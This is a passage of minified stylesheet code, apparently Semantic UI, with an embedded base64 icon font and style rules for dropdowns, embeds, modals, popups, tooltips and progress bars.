GUAcgBzAGkAbwBuACAAMQAuADAAaQBjAG8AbQBvAG8Abmljb21vb24AaQBjAG8AbQBvAG8AbgBSAGUAZwB1AGwAYQByAGkAYwBvAG0AbwBvAG4ARgBvAG4AdAAgAGcAZQBuAGUAcgBhAHQAZQBkACAAYgB5ACAASQBjAG8ATQBvAG8AbgAuAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,d09GRk9UVE8AAAVwAAoAAAAABSgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAA9AAAAdkAAAHZLDXE/09TLzIAAALQAAAAYAAAAGAIIweQY21hcAAAAzAAAABMAAAATA9+4ghnYXNwAAADfAAAAAgAAAAIAAAAEGhlYWQAAAOEAAAANgAAADYAQ88baGhlYQAAA7wAAAAkAAAAJAMHAelobXR4AAAD4AAAACAAAAAgBLgAEm1heHAAAAQAAAAABgAAAAYACFAAbmFtZQAABAgAAAFFAAABRVcZpu5wb3N0AAAFUAAAACAAAAAgAAMAAAEABAQAAQEBCGljb21vb24AAQIAAQA6+BwC+BsD+BgEHgoAGVP/i4seCgAZU/+LiwwHi2v4lPh0BR0AAACIDx0AAACNER0AAAAJHQAAAdASAAkBAQgPERMWGyAlKmljb21vb25pY29tb29udTB1MXUyMHVGMEQ3dUYwRDh1RjBEOXVGMERBAAACAYkABgAIAgABAAQABwAKAA0AVgCfAOgBL/yUDvyUDvyUDvuUDvtvi/emFYuQjZCOjo+Pj42Qiwj3lIsFkIuQiY6Hj4iNhouGi4aJh4eHCPsU+xQFiIiGiYaLhouHjYeOCPsU9xQFiI+Jj4uQCA77b4v3FBWLkI2Pjo8I9xT3FAWPjo+NkIuQi5CJjogI9xT7FAWPh42Hi4aLhomHh4eIiIaJhosI+5SLBYaLh42HjoiPiY+LkAgO+92d928Vi5CNkI+OCPcU9xQFjo+QjZCLkIuPiY6Hj4iNhouGCIv7lAWLhomHh4iIh4eJhouGi4aNiI8I+xT3FAWHjomPi5AIDvvdi+YVi/eUBYuQjZCOjo+Pj42Qi5CLkImOhwj3FPsUBY+IjYaLhouGiYeHiAj7FPsUBYiHhomGi4aLh42Hj4iOiY+LkAgO+JQU+JQViwwKAAAAAAMCAAGQAAUAAAFMAWYAAABHAUwBZgAAAPUAGQCEAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAQAAA8NoB4P/g/+AB4AAgAAAAAQAAAAAAAAAAAAAAIAAAAAAAAgAAAAMAAAAUAAMAAQAAABQABAA4AAAACgAIAAIAAgABACDw2v/9//8AAAAAACDw1//9//8AAf/jDy0AAwABAAAAAAAAAAAAAAABAAH//wAPAAEAAAABAAA5emozXw889QALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/4AAAAgAAAAAAASUAAQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAABAAAAASUAAAElAAAAtwASALcAAAAAUAAACAAAAAAADgCuAAEAAAAAAAEADgAAAAEAAAAAAAIADgBHAAEAAAAAAAMADgAkAAEAAAAAAAQADgBVAAEAAAAAAAUAFgAOAAEAAAAAAAYABwAyAAEAAAAAAAoANABjAAMAAQQJAAEADgAAAAMAAQQJAAIADgBHAAMAAQQJAAMADgAkAAMAAQQJAAQADgBVAAMAAQQJAAUAFgAOAAMAAQQJAAYADgA5AAMAAQQJAAoANABjAGkAYwBvAG0AbwBvAG4AVgBlAHIAcwBpAG8AbgAgADEALgAwAGkAYwBvAG0AbwBvAG5pY29tb29uAGkAYwBvAG0AbwBvAG4AUgBlAGcAdQBsAGEAcgBpAGMAbwBtAG8AbwBuAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('woff');font-weight:400;font-style:normal}.ui.dropdown>.dropdown.icon{font-family:Dropdown;line-height:1;height:1em;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center;width:auto}.ui.dropdown>.dropdown.icon:before{content:'\f0d7'}.ui.dropdown .menu .item .dropdown.icon:before{content:'\f0da'}.ui.dropdown .item .left.dropdown.icon:before,.ui.dropdown .left.menu .item .dropdown.icon:before{content:"\f0d9"}.ui.vertical.menu .dropdown.item>.dropdown.icon:before{content:"\f0da"}.ui.embed{position:relative;max-width:100%;height:0;overflow:hidden;background:#DCDDDE;padding-bottom:56.25%}.ui.embed embed,.ui.embed iframe,.ui.embed object{position:absolute;border:none;width:100%;height:100%;top:0;left:0;margin:0;padding:0}.ui.embed>.embed{display:none}.ui.embed>.placeholder{position:absolute;cursor:pointer;top:0;left:0;display:block;width:100%;height:100%;background-color:radial-gradient(transparent 45%,rgba(0,0,0,.3))}.ui.embed>.icon{cursor:pointer;position:absolute;top:0;left:0;width:100%;height:100%;z-index:2}.ui.embed>.icon:after{position:absolute;top:0;left:0;width:100%;height:100%;z-index:3;content:'';background:-webkit-radial-gradient(transparent 45%,rgba(0,0,0,.3));background:radial-gradient(transparent 45%,rgba(0,0,0,.3));opacity:.5;-webkit-transition:opacity .5s ease;transition:opacity .5s ease}.ui.embed>.icon:before{position:absolute;top:50%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%);-ms-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);color:#FFF;font-size:6rem;text-shadow:0 2px 10px rgba(34,36,38,.2);-webkit-transition:opacity .5s ease,color .5s ease;transition:opacity .5s ease,color .5s ease;z-index:10}.ui.embed .icon:hover:after{background:-webkit-radial-gradient(transparent 45%,rgba(0,0,0,.3));background:radial-gradient(transparent 45%,rgba(0,0,0,.3));opacity:1}.ui.embed .icon:hover:before{color:#FFF}.ui.active.embed>.icon,.ui.active.embed>.placeholder{display:none}.ui.active.embed>.embed{display:block}.ui.square.embed{padding-bottom:100%}.ui[class*="4:3"].embed{padding-bottom:75%}.ui[class*="16:9"].embed{padding-bottom:56.25%}.ui[class*="21:9"].embed{padding-bottom:42.85714286%}.ui.modal{display:none;position:fixed;z-index:1001;top:50%;left:50%;text-align:left;background:#FFF;border:none;box-shadow:1px 3px 3px 0 rgba(0,0,0,.2),1px 3px 15px 2px rgba(0,0,0,.2);-webkit-transform-origin:50% 25%;-ms-transform-origin:50% 25%;transform-origin:50% 25%;border-radius:.28571429rem;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text;will-change:top,left,margin,transform,opacity}.ui.modal>.icon:first-child+*,.ui.modal>:first-child:not(.icon){border-top-left-radius:.28571429rem;border-top-right-radius:.28571429rem}.ui.modal>:last-child{border-bottom-left-radius:.28571429rem;border-bottom-right-radius:.28571429rem}.ui.modal>.close{cursor:pointer;position:absolute;top:-2.5rem;right:-2.5rem;z-index:1;opacity:.8;font-size:1.25em;color:#FFF;width:2.25rem;height:2.25rem;padding:.625rem 0 0}.ui.modal>.close:hover{opacity:1}.ui.modal>.header{display:block;background:#FFF;margin:0;padding:1.25rem 1.5rem;box-shadow:none;color:rgba(0,0,0,.85);border-bottom:1px solid rgba(34,36,38,.15)}.ui.modal>.header:not(.ui){font-size:1.42857143rem;line-height:1.2857em;font-weight:700}.ui.modal>.content{display:block;width:100%;font-size:1em;line-height:1.4;padding:1.5rem;background:#FFF}.ui.modal>.image.content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}.ui.modal>.content>.image{display:block;-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto;width:'';-webkit-align-self:top;-ms-flex-item-align:top;align-self:top}.ui.modal>[class*="top aligned"]{-webkit-align-self:top;-ms-flex-item-align:top;align-self:top}.ui.modal>[class*="middle aligned"]{-webkit-align-self:middle;-ms-flex-item-align:middle;align-self:middle}.ui.modal>[class*=stretched]{-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.ui.modal>.content>.description{display:block;-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;min-width:0;-webkit-align-self:top;-ms-flex-item-align:top;align-self:top}.ui.modal>.content>.icon+.description,.ui.modal>.content>.image+.description{-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto;min-width:'';width:auto;padding-left:2em}.ui.modal>.content>.image>i.icon{margin:0;opacity:1;width:auto;line-height:1;font-size:8rem}.ui.modal>.actions{background:#F9FAFB;padding:1rem;border-top:1px solid rgba(34,36,38,.15);text-align:right}.ui.modal .actions>.button{margin-left:.75em}@media only screen and (max-width:767px){.ui.modal{width:95%;margin:0 0 0 -47.5%}}@media only screen and (min-width:768px){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{max-height:15.42857143rem}.ui.modal{width:88%;margin:0 0 0 -44%}}@media only screen and (min-width:992px){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{max-height:20.57142857rem}.ui.modal{width:850px;margin:0 0 0 -425px}}@media only screen and (min-width:1200px){.ui.modal{width:900px;margin:0 0 0 -450px}}@media only screen and (min-width:1920px){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{max-height:20.57142857rem}.ui.modal{width:950px;margin:0 0 0 -475px}}@media only screen and (max-width:991px){.ui.modal>.header{padding-right:2.25rem}.ui.modal>.close{top:1.0535rem;right:1rem;color:rgba(0,0,0,.87)}}@media only screen and (max-width:767px){.ui.modal>.header{padding:.75rem 2.25rem .75rem 1rem!important}.ui.modal>.content{display:block;padding:1rem!important}.ui.modal>.close{top:.5rem!important;right:.5rem!important}.ui.modal .image.content{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.ui.modal .content>.image{display:block;max-width:100%;margin:0 auto!important;text-align:center;padding:0 0 1rem!important}.ui.modal>.content>.image>i.icon{font-size:5rem;text-align:center}.ui.modal .content>.description{display:block;width:100%!important;margin:0!important;padding:1rem 0!important;box-shadow:none}.ui.modal>.actions{padding:1rem 1rem 0!important}.ui.modal .actions>.button,.ui.modal .actions>.buttons{margin-bottom:1rem}}.ui.inverted.dimmer>.ui.modal{box-shadow:1px 3px 10px 2px rgba(0,0,0,.2)}.ui.basic.modal{background-color:transparent;border:none;border-radius:0;box-shadow:none!important;color:#FFF}.ui.basic.modal>.actions,.ui.basic.modal>.content,.ui.basic.modal>.header{background-color:transparent}.ui.basic.modal>.header{color:#FFF}.ui.basic.modal>.close{top:1rem;right:1.5rem}.ui.inverted.dimmer>.basic.modal{color:rgba(0,0,0,.87)}.ui.inverted.dimmer>.ui.basic.modal>.header{color:rgba(0,0,0,.85)}.ui.active.modal{display:block}.scrolling.dimmable.dimmed{overflow:hidden}.scrolling.dimmable.dimmed>.dimmer{overflow:auto;-webkit-overflow-scrolling:touch}.scrolling.dimmable>.dimmer{position:fixed}.modals.dimmer .ui.scrolling.modal{position:static!important;margin:3.5rem auto!important}.scrolling.undetached.dimmable.dimmed{overflow:auto;-webkit-overflow-scrolling:touch}.scrolling.undetached.dimmable.dimmed>.dimmer{overflow:hidden}.scrolling.undetached.dimmable .ui.scrolling.modal{position:absolute;left:50%;margin-top:3.5rem!important}.undetached.dimmable.dimmed>.pusher{z-index:auto}@media only screen and (max-width:991px){.ui.basic.modal>.close{color:#FFF}.modals.dimmer .ui.scrolling.modal{margin-top:1rem!important;margin-bottom:1rem!important}}.ui.fullscreen.modal{width:95%!important;left:2.5%!important;margin:1em auto}.ui.fullscreen.scrolling.modal{left:0!important}.ui.fullscreen.modal>.header{padding-right:2.25rem}.ui.fullscreen.modal>.close{top:1.0535rem;right:1rem;color:rgba(0,0,0,.87)}.ui.modal{font-size:1rem}.ui.small.modal>.header:not(.ui){font-size:1.3em}@media only screen and (max-width:767px){.ui.small.modal{width:95%;margin:0 0 0 -47.5%}}@media only screen and (min-width:768px){.ui.small.modal{width:70.4%;margin:0 0 0 -35.2%}}@media only screen and (min-width:992px){.ui.small.modal{width:680px;margin:0 0 0 -340px}}@media only screen and (min-width:1200px){.ui.small.modal{width:720px;margin:0 0 0 -360px}}@media only screen and (min-width:1920px){.ui.small.modal{width:760px;margin:0 0 0 -380px}}.ui.large.modal>.header{font-size:1.6em}@media only screen and (max-width:767px){.ui.large.modal{width:95%;margin:0 0 0 -47.5%}}@media only screen and (min-width:768px){.ui.large.modal{width:88%;margin:0 0 0 -44%}}@media only screen and (min-width:992px){.ui.large.modal{width:1020px;margin:0 0 0 -510px}}@media only screen and (min-width:1200px){.ui.large.modal{width:1080px;margin:0 0 0 -540px}}@media only screen and (min-width:1920px){.ui.large.modal{width:1140px;margin:0 0 0 -570px}}.ui.nag{display:none;opacity:.95;position:relative;top:0;left:0;z-index:999;min-height:0;width:100%;margin:0;padding:.75em 1em;background:#555;box-shadow:0 1px 2px 0 rgba(0,0,0,.2);font-size:1rem;text-align:center;color:rgba(0,0,0,.87);border-radius:0 0 .28571429rem .28571429rem;-webkit-transition:.2s background ease;transition:.2s background ease}a.ui.nag{cursor:pointer}.ui.nag>.title{display:inline-block;margin:0 .5em;color:#FFF}.ui.nag>.close.icon{cursor:pointer;opacity:.4;position:absolute;top:50%;right:1em;font-size:1em;margin:-.5em 0 0;color:#FFF;-webkit-transition:opacity .2s ease;transition:opacity .2s ease}.ui.nag:hover{background:#555;opacity:1}.ui.nag .close:hover{opacity:1}.ui.overlay.nag{position:absolute;display:block}.ui.fixed.nag{position:fixed}.ui.bottom.nag,.ui.bottom.nags{border-radius:.28571429rem .28571429rem 0 0;top:auto;bottom:0}.ui.inverted.nag,.ui.inverted.nags .nag{background-color:#F3F4F5;color:rgba(0,0,0,.85)}.ui.inverted.nag .close,.ui.inverted.nag .title,.ui.inverted.nags .nag .close,.ui.inverted.nags .nag .title{color:rgba(0,0,0,.4)}.ui.nags .nag{border-radius:0!important}.ui.nags .nag:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.bottom.nags .nag:last-child{border-radius:.28571429rem .28571429rem 0 0}.ui.popup{display:none;position:absolute;top:0;right:0;min-width:-webkit-min-content;min-width:-moz-min-content;min-width:min-content;z-index:1900;border:1px solid #D4D4D5;line-height:1.4285em;max-width:250px;background:#FFF;padding:.833em 1em;font-weight:400;font-style:normal;color:rgba(0,0,0,.87);border-radius:.28571429rem;box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.popup>.header{padding:0;font-size:1.14285714em;line-height:1.2;font-weight:700}.ui.popup>.header+.content{padding-top:.5em}.ui.popup:before{position:absolute;content:'';width:.71428571em;height:.71428571em;background:#FFF;-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);z-index:2;box-shadow:1px 1px 0 0 #bababc}[data-tooltip]{position:relative}[data-tooltip]:not([data-position]):before{top:auto;right:auto;bottom:100%;left:50%;background:#FFF;margin-left:-.07142857rem;margin-bottom:.14285714rem}[data-tooltip]:not([data-position]):after{left:50%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);bottom:100%;margin-bottom:.5em}[data-tooltip]:after,[data-tooltip]:before{pointer-events:none;visibility:hidden}[data-tooltip]:before{position:absolute;content:'';font-size:1rem;width:.71428571em;height:.71428571em;background:#FFF;z-index:2;box-shadow:1px 1px 0 0 #bababc;opacity:0;-webkit-transform:rotate(45deg) scale(0)!important;-ms-transform:rotate(45deg) scale(0)!important;transform:rotate(45deg) scale(0)!important;-webkit-transform-origin:center top;-ms-transform-origin:center top;transform-origin:center top;-webkit-transition:all .1s ease;transition:all .1s ease}[data-tooltip]:after{content:attr(data-tooltip);position:absolute;text-transform:none;text-align:left;white-space:nowrap;font-size:1rem;border:1px solid #D4D4D5;line-height:1.4285em;max-width:none;background:#FFF;padding:.833em 1em;font-weight:400;font-style:normal;color:rgba(0,0,0,.87);border-radius:.28571429rem;box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);z-index:1;opacity:1;-webkit-transform-origin:center bottom;-ms-transform-origin:center bottom;transform-origin:center bottom;-webkit-transition:all .1s ease;transition:all .1s ease}[data-tooltip]:hover:after,[data-tooltip]:hover:before{visibility:visible;pointer-events:auto}[data-tooltip]:hover:before{-webkit-transform:rotate(45deg) scale(1)!important;-ms-transform:rotate(45deg) scale(1)!important;transform:rotate(45deg) scale(1)!important;opacity:1}[data-tooltip]:after,[data-tooltip][data-position="top center"]:after,[data-tooltip][data-position="bottom center"]:after{-webkit-transform:translateX(-50%) scale(0)!important;-ms-transform:translateX(-50%) scale(0)!important;transform:translateX(-50%) scale(0)!important}[data-tooltip]:hover:after,[data-tooltip][data-position="bottom center"]:hover:after{-webkit-transform:translateX(-50%) scale(1)!important;-ms-transform:translateX(-50%) scale(1)!important;transform:translateX(-50%) scale(1)!important}[data-tooltip][data-position="left center"]:after,[data-tooltip][data-position="right center"]:after{-webkit-transform:translateY(-50%) scale(0)!important;-ms-transform:translateY(-50%) scale(0)!important;transform:translateY(-50%) scale(0)!important}[data-tooltip][data-position="left center"]:hover:after,[data-tooltip][data-position="right center"]:hover:after{-webkit-transform:translateY(-50%) scale(1)!important;-ms-transform:translateY(-50%) scale(1)!important;transform:translateY(-50%) scale(1)!important}[data-tooltip][data-position="top left"]:after,[data-tooltip][data-position="top right"]:after,[data-tooltip][data-position="bottom left"]:after,[data-tooltip][data-position="bottom right"]:after{-webkit-transform:scale(0)!important;-ms-transform:scale(0)!important;transform:scale(0)!important}[data-tooltip][data-position="top left"]:hover:after,[data-tooltip][data-position="top right"]:hover:after,[data-tooltip][data-position="bottom left"]:hover:after,[data-tooltip][data-position="bottom right"]:hover:after{-webkit-transform:scale(1)!important;-ms-transform:scale(1)!important;transform:scale(1)!important}[data-tooltip][data-inverted]:before{box-shadow:none!important;background:#1B1C1D}[data-tooltip][data-inverted]:after{background:#1B1C1D;color:#FFF;border:none;box-shadow:none}[data-tooltip][data-inverted]:after .header{background-color:none;color:#FFF}[data-position="top center"][data-tooltip]:after{top:auto;right:auto;left:50%;bottom:100%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);margin-bottom:.5em}[data-position="top center"][data-tooltip]:before{top:auto;right:auto;bottom:100%;left:50%;background:#FFF;margin-left:-.07142857rem;margin-bottom:.14285714rem}[data-position="top left"][data-tooltip]:after{top:auto;right:auto;left:0;bottom:100%;margin-bottom:.5em}[data-position="top left"][data-tooltip]:before{top:auto;right:auto;bottom:100%;left:1em;margin-left:-.07142857rem;margin-bottom:.14285714rem}[data-position="top right"][data-tooltip]:after{top:auto;left:auto;right:0;bottom:100%;margin-bottom:.5em}[data-position="top right"][data-tooltip]:before{top:auto;left:auto;bottom:100%;right:1em;margin-left:-.07142857rem;margin-bottom:.14285714rem}[data-position="bottom center"][data-tooltip]:after{bottom:auto;right:auto;left:50%;top:100%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);margin-top:.5em}[data-position="bottom center"][data-tooltip]:before{bottom:auto;right:auto;top:100%;left:50%;margin-left:-.07142857rem;margin-top:.14285714rem}[data-position="bottom left"][data-tooltip]:after{left:0;top:100%;margin-top:.5em}[data-position="bottom left"][data-tooltip]:before{bottom:auto;right:auto;top:100%;left:1em;margin-left:-.07142857rem;margin-top:.14285714rem}[data-position="bottom right"][data-tooltip]:after{right:0;top:100%;margin-top:.5em}[data-position="bottom right"][data-tooltip]:before{bottom:auto;left:auto;top:100%;right:1em;margin-left:-.14285714rem;margin-top:.07142857rem}[data-position="left center"][data-tooltip]:after{right:100%;top:50%;margin-right:.5em;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}[data-position="right center"][data-tooltip]:after{left:100%;top:50%;margin-left:.5em;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}[data-position~=bottom][data-tooltip]:before{background:#FFF;box-shadow:-1px -1px 0 0 #bababc;-webkit-transform-origin:center bottom;-ms-transform-origin:center bottom;transform-origin:center bottom}[data-position="left center"][data-tooltip]:before{right:100%;top:50%;margin-top:-.14285714rem;margin-right:-.07142857rem;background:#FFF;box-shadow:1px -1px 0 0 #bababc}[data-position="right center"][data-tooltip]:before{left:100%;top:50%;margin-top:-.07142857rem;margin-left:.14285714rem;background:#FFF;box-shadow:-1px 1px 0 0 #bababc}[data-position~=top][data-tooltip]:before{background:#FFF}[data-inverted][data-position~=bottom][data-tooltip]:before{background:#1B1C1D;box-shadow:-1px -1px 0 0 #bababc}[data-inverted][data-position="left center"][data-tooltip]:before{background:#1B1C1D;box-shadow:1px -1px 0 0 #bababc}[data-inverted][data-position="right center"][data-tooltip]:before{background:#1B1C1D;box-shadow:-1px 1px 0 0 #bababc}[data-inverted][data-position~=top][data-tooltip]:before{background:#1B1C1D}[data-position~=bottom][data-tooltip]:after{-webkit-transform-origin:center top;-ms-transform-origin:center top;transform-origin:center top}[data-position="left center"][data-tooltip]:before{-webkit-transform-origin:top center;-ms-transform-origin:top center;transform-origin:top center}[data-position="left center"][data-tooltip]:after,[data-position="right center"][data-tooltip]:before{-webkit-transform-origin:right center;-ms-transform-origin:right center;transform-origin:right center}[data-position="right center"][data-tooltip]:after{-webkit-transform-origin:left center;-ms-transform-origin:left center;transform-origin:left center}.ui.popup{margin:0}.ui.top.popup{margin:0 0 .71428571em}.ui.top.left.popup{-webkit-transform-origin:left bottom;-ms-transform-origin:left bottom;transform-origin:left bottom}.ui.top.center.popup{-webkit-transform-origin:center bottom;-ms-transform-origin:center bottom;transform-origin:center bottom}.ui.top.right.popup{-webkit-transform-origin:right bottom;-ms-transform-origin:right bottom;transform-origin:right bottom}.ui.left.center.popup{margin:0 .71428571em 0 0;-webkit-transform-origin:right 50%;-ms-transform-origin:right 50%;transform-origin:right 50%}.ui.right.center.popup{margin:0 0 0 .71428571em;-webkit-transform-origin:left 50%;-ms-transform-origin:left 50%;transform-origin:left 50%}.ui.bottom.popup{margin:.71428571em 0 0}.ui.bottom.left.popup{-webkit-transform-origin:left top;-ms-transform-origin:left top;transform-origin:left top}.ui.bottom.center.popup{-webkit-transform-origin:center top;-ms-transform-origin:center top;transform-origin:center top}.ui.bottom.right.popup{-webkit-transform-origin:right top;-ms-transform-origin:right top;transform-origin:right top;margin-right:0}.ui.bottom.center.popup:before{margin-left:-.30714286em;top:-.30714286em;left:50%;right:auto;bottom:auto;box-shadow:-1px -1px 0 0 #bababc}.ui.bottom.left.popup{margin-left:0}.ui.bottom.left.popup:before{top:-.30714286em;left:1em;right:auto;bottom:auto;margin-left:0;box-shadow:-1px -1px 0 0 #bababc}.ui.bottom.right.popup:before{top:-.30714286em;right:1em;bottom:auto;left:auto;margin-left:0;box-shadow:-1px -1px 0 0 #bababc}.ui.top.center.popup:before{top:auto;right:auto;bottom:-.30714286em;left:50%;margin-left:-.30714286em}.ui.top.left.popup{margin-left:0}.ui.top.left.popup:before{bottom:-.30714286em;left:1em;top:auto;right:auto;margin-left:0}.ui.top.right.popup{margin-right:0}.ui.top.right.popup:before{bottom:-.30714286em;right:1em;top:auto;left:auto;margin-left:0}.ui.left.center.popup:before{top:50%;right:-.30714286em;bottom:auto;left:auto;margin-top:-.30714286em;box-shadow:1px -1px 0 0 #bababc}.ui.right.center.popup:before{top:50%;left:-.30714286em;bottom:auto;right:auto;margin-top:-.30714286em;box-shadow:-1px 1px 0 0 #bababc}.ui.bottom.popup:before,.ui.left.center.popup:before,.ui.right.center.popup:before,.ui.top.popup:before{background:#FFF}.ui.inverted.bottom.popup:before,.ui.inverted.left.center.popup:before,.ui.inverted.right.center.popup:before,.ui.inverted.top.popup:before{background:#1B1C1D}.ui.popup>.ui.grid:not(.padded){width:calc(100% + 1.75rem);margin:-.7rem -.875rem}.ui.loading.popup{display:block;visibility:hidden;z-index:-1}.ui.animating.popup,.ui.visible.popup{display:block}.ui.visible.popup{-webkit-transform:translateZ(0);transform:translateZ(0);-webkit-backface-visibility:hidden;backface-visibility:hidden}.ui.basic.popup:before{display:none}.ui.wide.popup{max-width:350px}.ui[class*="very wide"].popup{max-width:550px}@media only screen and (max-width:767px){.ui.wide.popup,.ui[class*="very wide"].popup{max-width:250px}}.ui.fluid.popup{width:100%;max-width:none}.ui.inverted.popup{background:#1B1C1D;color:#FFF;border:none;box-shadow:none}.ui.inverted.popup .header{background-color:none;color:#FFF}.ui.inverted.popup:before{background-color:#1B1C1D;box-shadow:none!important}.ui.flowing.popup{max-width:none}.ui.mini.popup{font-size:.78571429rem}.ui.tiny.popup{font-size:.85714286rem}.ui.small.popup{font-size:.92857143rem}.ui.popup{font-size:1rem}.ui.large.popup{font-size:1.14285714rem}.ui.huge.popup{font-size:1.42857143rem}.ui.progress{position:relative;display:block;max-width:100%;border:none;margin:1em 0 2.5em;box-shadow:none;background:rgba(0,0,0,.1);padding:0;border-radius:.28571429rem}.ui.progress:first-child{margin:0 0 2.5em}.ui.progress:last-child{margin:0 0 1.5em}.ui.progress .bar{display:block;line-height:1;position:relative;width:0;min-width:2em;background:#888;border-radius:.28571429rem;-webkit-transition:width .1s ease,background-color .1s ease;transition:width .1s ease,background-color .1s ease}.ui.progress .bar>.progress{white-space:nowrap;position:absolute;width:auto;font-size:.92857143em;top:50%;right:.5em;left:auto;bottom:auto;color:rgba(255,255,255,.7);text-shadow:none;margin-top:-.5em;font-weight:700;text-align:left}.ui.progress>.label{position:absolute;width:100%;font-size:1em;top:100%;right:auto;left:0;bottom:auto;color:rgba(0,0,0,.87);font-weight:700;text-shadow:none;margin-top:.2em;text-align:center;-webkit-transition:color .4s ease;transition:color .4s ease}.ui.indicating.progress[data-percent^="1"] .bar,.ui.indicating.progress[data-percent^="2"] .bar{background-color:#D95C5C}.ui.indicating.progress[data-percent^="3"] .bar{background-color:#EFBC72}.ui.indicating.progress[data-percent^="4"] .bar,.ui.indicating.progress[data-percent^="5"] .bar{background-color:#E6BB48}.ui.indicating.progress[data-percent^="6"] .bar{background-color:#DDC928}.ui.indicating.progress[data-percent^="7"] .bar,.ui.indicating.progress[data-percent^="8"] .bar{background-color:#B4D95C}.ui.indicating.progress[data-percent^="9"] .bar,.ui.indicating.progress[data-percent^="100"] .bar{background-color:#66DA81}.ui.indicating.progress[data-percent^="1"] .label,.ui.indicating.progress[data-percent^="2"] .label,.ui.indicating.progress[data-percent^="3"] .label,.ui.indicating.progress[data-percent^="4"] .label,.ui.indicating.progress[data-percent^="5"] .label,.ui.indicating.progress[data-percent^="6"] .label,.ui.indicating.progress[data-percent^="7"] .label,.ui.indicating.progress[data-percent^="8"] .label,.ui.indicating.progress[data-percent^="9"] .label,.ui.indicating.progress[data-percent^="100"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent="1"] .bar,.ui.indicating.progress[data-percent="2"] .bar,.ui.indicating.progress[data-percent="3"] .bar,.ui.indicating.progress[data-percent="4"] .bar,.ui.indicating.progress[data-percent="5"] .bar,.ui.indicating.progress[data-percent="6"] .bar,.ui.indicating.progress[data-percent="7"] .bar,.ui.indicating.progress[data-percent="8"] .bar,.ui.indicating.progress[data-percent="9"] .bar{background-color:#D95C5C}.ui.indicating.progress[data-percent="1"] .label,.ui.indicating.progress[data-percent="2"] .label,.ui.indicating.progress[data-percent="3"] .label,.ui.indicating.progress[data-percent="4"] .label,.ui.indicating.progress[data-percent="5"] .label,.ui.indicating.progress[data-percent="6"] .label,.ui.indicating.progress[data-percent="7"] .label,.ui.indicating.progress[data-percent="8"] .label,.ui.indicating.progress[data-percent="9"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress.success .label{color:#1A531B}.ui.progress.success .bar{background-color:#21BA45!important}.ui.progress.success .bar,.ui.progress.success .bar::after{-webkit-animation:none!important;animation:none!important}.ui.progress.success>.label{color:#1A531B}.ui.progress.warning .bar{background-color:#F2C037!important}.ui.progress.warning .bar,.ui.progress.warning .bar::after{-webkit-animation:none!important;animation:none!important}.ui.progress.warning>.label{color:#794B02}.ui.progress.error .bar{background-color:#DB2828!important}.ui.progress.error .bar,.ui.progress.error .bar::after{-webkit-animation:none!important;animation:none!important}.ui.progress.error>.label{color:#912D2B}.ui.active.progress .bar{position:relative;min-width:2em}.ui.active.progress .bar::after{content:'';opacity:0;position:absolute;top:0;left:0;right:0;bottom:0;background:#FFF;border-radius:.28571429rem;-webkit-animation:progress-active 2s ease infinite;animation:progress-active 2s ease infinite}@-webkit-keyframes progress-active{0%{opacity:.3;width:0}100%{opacity:0;width:100%}}@keyframes progress-active{0%{opacity:.3;width:0}100%{opacity:0;width:100%}}.ui.disabled.progress{opacity:.35}.ui.disabled.progress .bar,.ui.disabled.progress .bar::after{-webkit-animation:none!important;animation:none!important}.ui.inverted.progress{background:rgba(255,255,255,.08);border:none}.ui.inverted.progress .bar{background:#888}.ui.inverted.progress .bar>.progress{color:#F9FAFB}.ui.inverted.progress>.label{color:#FFF}.ui.inverted.progress.success>.label{color:#21BA45}.ui.inverted.progress.warning>.label{color:#F2C037}.ui.inverted.progress.error>.label{color:#DB2828}.ui.progress.attached{background:0 0;position:relative;border:none;margin:0}.ui.progress.attached,.ui.progress.attached .bar{display:block;height:.2rem;padding:0;overflow:hidden;border-radius:0 0 .28571429rem .28571429rem}.ui.progress.attached .bar{border-radius:0}.ui.progress.top.attached,.ui.progress.top.attached .bar{top:0;border-radius:.28571429rem .28571429rem 0 0}.ui.progress.top.attached 